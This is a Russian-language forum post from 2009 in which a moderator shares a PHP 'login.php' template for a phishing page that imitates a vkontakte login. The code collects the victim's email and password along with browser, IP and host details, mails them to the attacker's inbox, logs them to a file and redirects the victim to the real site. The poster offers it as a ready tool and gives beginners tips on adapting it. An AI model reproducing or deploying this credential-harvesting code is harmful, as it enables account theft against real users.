
21.05.2009, 16:19
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами:
9083308
Репутация:
719
|
|
вариации на тему "файл login.php"
Удобен тем, что высасывает всю инфу. При это сохраняет отчет в базе и высылает ее на почту.
PHP код:
<?PHP
$email = $_POST['email'];
$c = "$email:$pass";
$Browser = getenv("HTTP_USER_AGENT");
$Port = getenv("REMOTE_PORT");
$Connect = $_SERVER['HTTP_CONNECTION'];
$Host = gethostbyaddr(getenv("REMOTE_ADDR"));
$pass = $_POST['pass'];
$ip = $_SERVER["REMOTE_ADDR"];
$Data = date("d-m-y H:i:s", time());
$text = "[$Data]
Browser:[$Browser]
Port:[$Port]
Connect:[$Connect]
Host:[$Host]
IP:$ip
Мыло:$email Пасс:$pass";
$to = "ваше_мыло@mail.ru"; //
$sub = " Pass : $email";
mail($to,$sub,$text);
$f=fopen("base.php","a+");
flock($f,2);
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-zA-Z-]+\.)+[0-9a-zA-Z]{2,4})$/i",
$_POST['email'])&& !empty($_POST['pass'])){
fputs($f,
$_POST['email'].";".
$_POST['pass']." \n");
header("Location: http://vkontakte.ru");
} else {
header("Location: bad.html");
}
flock($f,3);
fclose($f);
?>
Выявилась ситуация, что люди просто копируют код. Поясняю для новичков. Код нужно присобачить под себя. Это просто шаблон. Если у вас файл базы называется base.txt, то исправьте тут
PHP код:
$f=fopen("base.php","a+");
под себя.
Последний раз редактировалось satana-fu; 21.05.2009 в 19:24..
|
|
|